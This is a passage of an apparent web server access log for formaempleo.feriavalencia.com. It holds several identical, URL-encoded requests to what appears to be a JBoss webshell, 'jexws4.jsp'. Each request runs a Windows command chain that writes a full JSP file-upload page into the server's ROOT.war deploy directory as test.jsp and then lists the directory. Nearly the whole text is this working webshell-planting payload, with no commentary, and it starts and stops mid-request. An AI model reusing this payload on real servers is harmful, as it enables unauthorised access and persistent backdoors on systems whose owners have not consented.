22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834561408 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834506699 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834500792 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++